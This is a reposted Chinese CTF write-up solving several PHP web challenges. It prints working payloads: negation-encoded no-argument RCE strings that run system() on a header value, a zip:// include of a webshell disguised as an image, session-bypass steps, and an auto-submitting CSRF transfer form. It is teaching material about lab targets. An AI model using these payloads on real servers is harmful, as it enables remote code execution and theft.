概述
题目地址:GitHub - WAY29/geek-2020-challenges
当然 buu上面也可以开环境。
目录
<1> [极客大挑战 2020] Roamphp1 welcome
<2> [极客大挑战 2020] Roamphp2-Myblog(zip://????)
<3> [极客大挑战 2020]Roamphp4-Rceme(取反+无参数rce)
<4> [2022鹏程杯] 简单的php(取反+无参数rce)
<5> [极客大挑战 2020]Roamphp5-FighterFightsInvincibly
<6> [极客大挑战 2020]Roamphp6-flagshop(CSRF漏洞利用)
<7> [极客大挑战 2020]Roamphp7-Greatphp
<1> [极客大挑战 2020] Roamphp1 welcome
访问进去之后发现是空白页面,扫目录也扫不出来。burp抓包 响应码为405
百度了一下发现是请求方式不合适。 换成POST请求来试试(RESTCilent插件)
得到源码
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}
数组绕过 在phpinfo里得到flag
<2> [极客大挑战 2020] Roamphp2-Myblog(zip://????)
进去之后发现是个博客页面,url栏里有?page 参数 应该存在文件包含
?page=php://filter/read=convert.base64-encode/resource=login
<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>
login登录报错时,url栏里有一个 admin/user 虽然看起来不像文件 但是可以读到文件。。
在admin/user文件里得到两段代码
<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
$logined = true;
$_SESSION['status'] = $logined;
}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
die();
}
?>
首先这个要满足 post的username=Longlone 密码是session的password为前两个mt_rand()产生的数。
考察的是:如果我们删去了cookie中的PHPSESSID,那么传进去密码将不必是longlone的密码,没有cookie就不知道是哪个用户,那么服务端存的$_SESSION[‘password’])也就为空了,那我们只需要也传一个空密码按道理就可以绕过了。
也就是说,password是随着cookie传进去的,如果cookie中为空,那么我们也传一个空密码,再后台判断中也就相同了
但是我们清除了cookie中的PHPSESSID,还是无法登录。因为前端把这里设置为了必填的选项。前端是可修改的,HTML中 required 属性规定必需在提交之前填写输入字段。直接找到它把它删了
成功登录后,发现了一个上传文件的地方,应该上传我们的图片????
<?php
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
$tmp_file = $_FILES['Files']['name'];
$tmp_path = $_FILES['Files']['tmp_name'];
if(($extension = pathinfo($tmp_file)['extension']) != ""){
$allows = array('gif','jpeg','jpg','png');
if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
} else {
echo "<script>alert('Update illegal! Only allows like 'gif', 'jpeg', 'jpg', 'png' ') </script>";
}
}
}
?>
存在文件上传的点,限制了只能上传图片,利用文件包含和文件上传,我们可以 搞一个一句话????zip压缩,修改后缀为.png图片上传,利用zip://协议来读取,
测试发现图片上传成功 因为他是我们修改后缀得到的图片,并不是真正意义上的图片,所以无法显示。
zip:// + zip路径 + %23 + php文件名 (由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23)
这里不加.php后缀是因为在index.php包含的时候默认加上了,还要注意zip协议后面跟的是./因为没有去看绝对路径。
发现了flag位置,cat得到flag
<3> [极客大挑战 2020]Roamphp4-Rceme(取反+无参数rce)
考点其实是[~(异或)][!%FF]
的形式组成字符串,然后无参数RCE
ctrl+u 发现 <!-- Do you know vim swp? --> index.php.swp 源码泄露
vim 恢复之后得到源码:
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
//获得验证数字
}
if(isset($_POST['cmd']) and isset($_POST['code'])){
if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
//post传的code经过md5加密前五个字符,要等于session的code
die('<script>alert('Captcha error~');history.back()</script>');
}
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
$code = $_POST['cmd'];
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|'|"|`| |,|.|-|+|=|/|\|<|>|$|?|^|&||/ixm',$code)){
//修正符:x 表示将模式中的空白忽略;
die('<script>alert('Longlone not like you~');history.back()</script>');
}else if(';' === preg_replace('/[^s()]+?((?R)?)/', '', $code)){
@eval($code);
die();
}
if:substr(md5($code),0,5)==2e743
首先应该写个脚本爆破一下code值:
import hashlib
i = 0
while True:
if hashlib.md5(str(i).encode('utf-8')).hexdigest()[0:5] == '2e743':
print(i)
break
i = i+1
值为:245630
然后再次看看cmd的过滤。
第一层if 过滤了字母数字,但是没有过滤 ( ) ; ~ 可以取反绕过 同时code长度也有限制
第二层if 很常见,无参数rce,之前也搞过。()里不能有参数
$code = $_POST['cmd'];
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|'|"|`| |,|.|-|+|=|/|\|<|>|$|?|^|&||/ixm',$code)){
//修正符:x 表示将模式中的空白忽略;
die('<script>alert('Longlone not like you~');history.back()</script>');
}else if(';' === preg_replace('/[^s()]+?((?R)?)/', '', $code)){
@eval($code);
die();
}
每次执行完命令,它文档会过期,然后session就又变了,code也得跟着变 这里不再用python写了,手撸吧。。
取反+无参数rce,
('phpinfo')()
['phpinfo'][0]()
['phpinfo']{0}()
效果作用是一样的。
phpinfo(): [~%8F%97%8F%96%91%99%90][~%CF]();
加这个[~%CF]
只是因为php7的解析方式,当然换成其他的也可以例如[~%EF] [~%FF]
执行一下 var_dump(getallheaders());
cmd=[~%89%9E%8D%A0%9B%8A%92%8F][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]());
可以看到 getallheaders()函数返回的数组第二项 User-Agent是可控的,
构造执行 system(next(getallheaders())); 执行cat /f*命令
cmd=[~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
得到flag
官方wp里的构造脚本:
def one(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{ss}][!%FF]("
"""
组成类似于system(pos(next(getallheaders())));即可
a=whoami
"""
while 1:
a = input(":>").strip(")")
aa = a.split("(")
s = ""
for each in aa[:-1]:
s += one(each)
s += ")" * (len(aa) - 1) + ";"
print(s)
<4> [2022鹏程杯] 简单的php(取反+无参数rce)
和上面的一样,几乎是原题 取反&无参数rce
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|'|"|`| |,|.|-|+|=|/|\|<|>|$|?|^|&||/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^s()]+?((?R)?)/', '', $code)){
@eval($code);
}
?>
next(getallheaders()) 返回的是User-Agent的内容,所以我们通过修改User-Agent为我们的命令
即可通过外层system()执行
发现根目录下flag文件 cat即可
eval(end(getallheaders()));
[~%9A%89%9E%93][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()))%3b eval行不通system(next(getallheaders()));
GET /?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
执行 ls /命令,发现 /ffffflaggg
再次 cat /ffffflaggg 即可得到flag
<5> [极客大挑战 2020]Roamphp5-FighterFightsInvincibly
这里就不写了,据说是考察 PHP 7.4 FFI扩展安全,调用函数。无法出网的FFI,如何在执行命令的情况下输出回显
到后面 自习搞一搞原理,然后搭配着记录一下这道题????(好多没学呢,也不知道会拖到什么时候)
------ 2023.2.19
---------------------------------------------------------------------------------------------------------------------------------
隔了三天,算所不拖延 搞下来了 继续保持 不要攒 想到什么就去做什么????
PHP7.4 FFI 扩展安全问题_葫芦娃42的博客-CSDN博客
------ 2023.2.22
<6> [极客大挑战 2020]Roamphp6-flagshop(CSRF漏洞利用)
进入之后就是一个登录界面,我们注册一个账号 admin:123456 登录进去
Lonelone的矿业公司 那Lonelone应该是老板、这里有 主页、转账、报告 三个页面
可以看见我的余额 只有可怜的¥11 一天赚¥1
根本买不起flag,只能买一张蹭饭体验卡 ,咔 不小心一点,仅剩的¥11 变成了 ¥1
唉 即使我注册了admin,但我仍然是一个极其普通的用户 5555????
再次查看报告界面,可以看到 Morouu这个家伙 说有一处bug,Lonelone大财主出现了安全问题,不明的转账记录。后面 Morouu又投诉说Lonelone不看他的链接了。
再结合此题我们的情况 钱不够,还有转账功能,Lonelone是财务部负责人,钱大大滴多。 可以得出应该是存在csrf漏洞,诱导Lonelone在报告处点击恶意链接从而转账使得自己的钱丢失。
Morouu骗不到钱了还去投诉人家不点链接不给骗了,,,,
Lonelone:<回复> 投诉:我会好好查看你们提交的报告 还会点击。 因此我们构造csrf,恶意链接,写道报告内容里提交
这个题目可以利用CSRF
漏洞进行攻击,但是需要自己写一个页面让后台点击,接着会自动跳转到转账页面,让服务器以为是后台转账操作。
在转账界面,我们抓一个包:
使用burp里 Engagement tools的Generate CSRF PoC 生成一个csrf
稍微更改一下:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://95e2c460-fbb4-4e91-a4e4-392fcaac53df.node4.buuoj.cn:81/transfer.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="target" value="admin" />
<input type="hidden" name="money" value="100000" />
<input type="hidden" name="messages" value="�¹°flag" />
<input type="submit" value="Submit request" id="onclick" />
</form>
<script type="text/javascript">
document.getElementById("onclick").click();
</script>
</body>
</html>
更改的这几处代码: 用来实现页面进入后自动点击的操作。
<input type="submit" value="Submit request" id="onclick" />
<script type="text/javascript">
document.getElementById("onclick").click();
</script>
官方wp:
加上
<script language=javascript>
setTimeout("document.forms[0].submit()",1000)
</script>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://95e2c460-fbb4-4e91-a4e4-392fcaac53df.node4.buuoj.cn:81/transfer.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="target" value="admin" />
<input type="hidden" name="money" value="100000" />
<input type="hidden" name="messages" value="�¹°flag" />
<input type="submit" value="Submit request" />
</form>
<script language=javascript>
setTimeout("document.forms[0].submit()",1000)
</script>
</body>
</html>
由于是要让Lonelone能访问得到,所以不能放在我们本地。 可以放到vps上 python开一个http服务,也可以放到一个能访问到的 博客里也行。
我们去报告界面去提交:
提交的时候有一个验证码,需要我们爆破一下。 上文就用到过了
import hashlib
i = 0
while True:
if hashlib.md5(str(i).encode('utf-8')).hexdigest()[0:5] == 'b0e47':
print(i)
break
i = i+1
得到满足条件的验证码:1909516
提交成功就等一会 等他点击之后,到账 买flag就可以啦
这里buu上面这道题环境好像有问题,怪不得0解。 可以自己去github上用docker-compose up -d自己开一个环境
..... 自己也鼓捣好长时间,没鼓捣出来,xssbot的dockerfile开不起来
<7> [极客大挑战 2020]Roamphp7-Greatphp
Error内置类进行hash绕过&取反绕过rce
前面写原生类第二篇的时候做过了1,可以参考
2浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)_葫芦娃42的博客-CSDN博客2
最后
以上就是丰富鲜花为你收集整理的buuctf刷题12(zip://包含& 取反+无参数rce & csrf & FFI扩展安全)<1> [极客大挑战 2020] Roamphp1 welcome<2> [极客大挑战 2020] Roamphp2-Myblog(zip://????)<3> [极客大挑战 2020]Roamphp4-Rceme(取反+无参数rce)<4> [2022鹏程杯] 简单的php(取反+无参数rce)<5> [极客大挑战 2020]Roamphp5-FighterFightsInvincibly<6> 的全部内容,希望文章能够帮你解决buuctf刷题12(zip://包含& 取反+无参数rce & csrf & FFI扩展安全)<1> [极客大挑战 2020] Roamphp1 welcome<2> [极客大挑战 2020] Roamphp2-Myblog(zip://????)<3> [极客大挑战 2020]Roamphp4-Rceme(取反+无参数rce)<4> [2022鹏程杯] 简单的php(取反+无参数rce)<5> [极客大挑战 2020]Roamphp5-FighterFightsInvincibly<6> 所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复